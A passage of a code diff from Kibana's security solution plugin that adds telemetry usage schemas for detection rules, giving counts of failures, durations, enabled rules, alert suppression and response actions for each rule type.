+ _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + new_terms: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + esql: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + threat_match: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + machine_learning: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + query: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + saved_query: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + threshold: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + total: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of succeeded rules' }, + }, + }, + }, +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/detection_rule_usage.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/detection_rule_usage.ts new file mode 100644 index 0000000000000..d8ff171afa3f6 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/detection_rule_usage.ts @@ -0,0 +1,2124 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { MakeSchemaFrom } from '@kbn/usage-collection-plugin/server'; +import type { RulesTypeUsage } from '../types'; + +export const ruleTypeUsageSchema: MakeSchemaFrom = { + query: { + enabled: { type: 'long', _meta: { description: 'Number of query rules enabled' } }, + disabled: { type: 'long', _meta: { description: 'Number of query rules disabled' } }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by query rules' }, + }, + cases: { + type: 'long', + _meta: { description: 'Number of cases attached to query detection rule alerts' }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled query rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled query rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of query rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of query rules configured with two suppression fields', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of query rules configured with three suppression fields', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of query rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of query rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: 'Number of query rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of query rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled query rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled query rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within query rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within query rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of query rules with exceptions' }, + }, + }, + query_custom: { + enabled: { type: 'long', _meta: { description: 'Number of custom query rules enabled' } }, + disabled: { type: 'long', _meta: { description: 'Number of custom query rules disabled' } }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom query rules' }, + }, + cases: { + type: 'long', + _meta: { description: 'Number of cases attached to custom query detection rule alerts' }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { + description: 'Number of custom query detection rules with legacy notifications enabled', + }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { + description: 'Number of custom query detection rules with legacy notifications disabled', + }, + }, + notifications_enabled: { + type: 'long', + _meta: { + description: 'Number of custom query detection rules with custom notifications enabled', + }, + }, + notifications_disabled: { + type: 'long', + _meta: { + description: 'Number of custom query detection rules with custom notifications disabled', + }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom query detection rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom query rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom query rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of custom query rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of custom query rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of custom query rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of custom query rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of custom query rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom query rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom query rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom query rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom query rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom query rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within custom query rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom query rules with exceptions' }, + }, + }, + threshold: { + enabled: { + type: 'long', + _meta: { description: 'Number of threshold rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of threshold rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by threshold rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to threshold detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled threshold rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled threshold rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of threshold rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of threshold rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of threshold rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of threshold rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of threshold rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of threshold rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of threshold rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled threshold rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled threshold rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within threshold rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within threshold rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of threshold rules with exceptions' }, + }, + }, + threshold_custom: { + enabled: { + type: 'long', + _meta: { description: 'Number of custom threshold rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of custom threshold rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom threshold rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to custom threshold detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom threshold rules with legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom threshold rules with legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom threshold rules with notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom threshold rules with notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom threshold rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom threshold rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom threshold rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of custom threshold rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of custom threshold rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of custom threshold rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: + 'Number of custom threshold rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of custom threshold rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom threshold rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom threshold rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom threshold rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom threshold rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom threshold rules', + }, + }, + osquery: { + type: 'long', + _meta: { + description: 'Number of osquery response actions within custom threshold rules', + }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom threshold rules with exceptions' }, + }, + }, + eql: { + enabled: { type: 'long', _meta: { description: 'Number of eql rules enabled' } }, + disabled: { type: 'long', _meta: { description: 'Number of eql rules disabled' } }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by eql rules' }, + }, + cases: { + type: 'long', + _meta: { description: 'Number of cases attached to eql detection rule alerts' }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled eql rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled eql rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of eql rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of eql rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of eql rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of eql rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of eql rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: 'Number of eql rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: 'Number of eql rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled eql rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled eql rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within eql rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within eql rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of EQL rules with exceptions' }, + }, + }, + eql_custom: { + enabled: { type: 'long', _meta: { description: 'Number of custom eql rules enabled' } }, + disabled: { type: 'long', _meta: { description: 'Number of custom eql rules disabled' } }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom eql rules' }, + }, + cases: { + type: 'long', + _meta: { description: 'Number of cases attached to custom eql detection rule alerts' }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom EQL rules with legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom EQL rules with legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom EQL rules with notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom EQL rules with notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom EQL rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom eql rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom eql rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of custom eql rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of custom eql rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of custom eql rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of custom eql rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of custom eql rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom eql rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom eql rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom EQL rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom EQL rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom EQL rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within custom EQL rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom EQL rules with exceptions' }, + }, + }, + machine_learning: { + enabled: { + type: 'long', + _meta: { description: 'Number of machine_learning rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of machine_learning rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by machine_learning rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to machine_learning detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled machine_learning rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled machine_learning rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of machine_learning rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of machine_learning rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of machine_learning rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: + 'Number of machine_learning rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of machine_learning rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of machine_learning rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of machine_learning rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled ML rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled ML rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within ML rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within ML rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of ML rules with exceptions' }, + }, + }, + machine_learning_custom: { + enabled: { + type: 'long', + _meta: { description: 'Number of custom machine_learning rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of custom machine_learning rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom machine_learning rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to custom machine_learning detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom ML rules with legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom ML rules with legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom ML rules with notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom ML rules with notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom ML rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: + 'Number of enabled custom machine_learning rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: + 'Number of disabled custom machine_learning rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 